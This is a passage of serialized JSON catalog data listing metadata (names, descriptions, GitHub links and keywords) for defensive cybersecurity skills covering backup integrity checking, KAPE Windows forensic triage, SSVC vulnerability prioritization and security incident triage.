tampering.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-backup-integrity-for-recovery\u002FSKILL.md",[191,194],{"categoryNo":192,"categoryName":193,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量",{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[179,196,197,198,199,37,27,36,173,200,201,202,203,204,205,206,207,208,209,210],"backup","recovery","validating backup integrity for recovery","testing","compliance","hash-verification","incident-response","ransomware","cryptocurrency","detection","t1078","t1490","immutable","disaster-recovery","restore-testing",{"skillNo":212,"name":213,"nameZh":6,"description":214,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":215,"categories":216,"keywords":218,"publishedAt":44},"01M6AGD9GBG2KZ336AE763J3WH","triaging-windows-with-kape","Runs KAPE (Kroll Artifact Parser and Extractor) to collect targeted forensic artifacts (registry hives, $MFT, event logs, prefetch, browser data) via Targets and parse them with Modules wrapping Eric Zimmerman's EZ Tools (PECmd, MFTECmd, RECmd). Use during early incident containment\u002Ftriage when full disk imaging is impractical but a defensible, parseable Windows artifact set is needed quickly, including at-scale remote collection.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-windows-with-kape\u002FSKILL.md",[217],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[219,220,221,37,222,223,224,225,226,227,228,229,230,231,232,233,176,234,235,236],"windows","kape","triaging windows with kape","registry","browser","logs","windows-forensics","dfir","mft","mftecmd","data","prefetch","eric-zimmerman","digital-forensics","SET","collection","pecmd","artifact-collection",{"skillNo":238,"name":239,"nameZh":6,"description":240,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":241,"categories":242,"keywords":244,"publishedAt":44},"01M6AGD5PW5J4EVZM958WD74ZQ","triaging-vulnerabilities-with-ssvc-framework","Triages and prioritizes vulnerabilities with CISA's Stakeholder-Specific Vulnerability Categorization (SSVC) decision tree, weighing exploitation status (via the CISA KEV catalog and FIRST EPSS API), technical impact, automatability, and mission prevalence to output Track\u002FTrack*\u002FAttend\u002FAct decisions. Use when prioritizing vulnerability scan results (OpenVAS, Nessus, Qualys) for remediation planning beyond raw CVSS scores.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-vulnerabilities-with-ssvc-framework\u002FSKILL.md",[243],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[245,42,246,37,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262],"vulnerabilities","triaging vulnerabilities with ssvc framework","status","planning","CISA","vulnerability-management","risk-management","nessus","qualys","openvas","cvss","remediation","risk","vulnerability","api","prioritization","ssvc","decision-tree",{"skillNo":264,"name":265,"nameZh":6,"description":266,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":267,"categories":268,"keywords":270,"publishedAt":44},"01M6AGD24TTQQM4CXG69E3B9TJ","triaging-security-incident","Performs initial triage of security incidents using the NIST SP 800-61r3 and SANS PICERL frameworks, classifying incident type, assigning priority by business impact, and routing to the appropriate response team. Use when a SIEM\u002FEDR alert needs human classification, concurrent alerts must be prioritized, or a user report or threat-intel IOC match requires initial incident categorization.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-security-incident\u002FSKILL.md",[269],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[146,271,37,272,40,273,274,275,276,277,278,206,279,207,280,281,282,283,284,285],"triaging security incident","siem","ioc","soc","NIST-800-61","NIST","severity","edr","execution","analysis","classification","severity-classification","incident-triage","SANS-PICERL","SOC-operations"]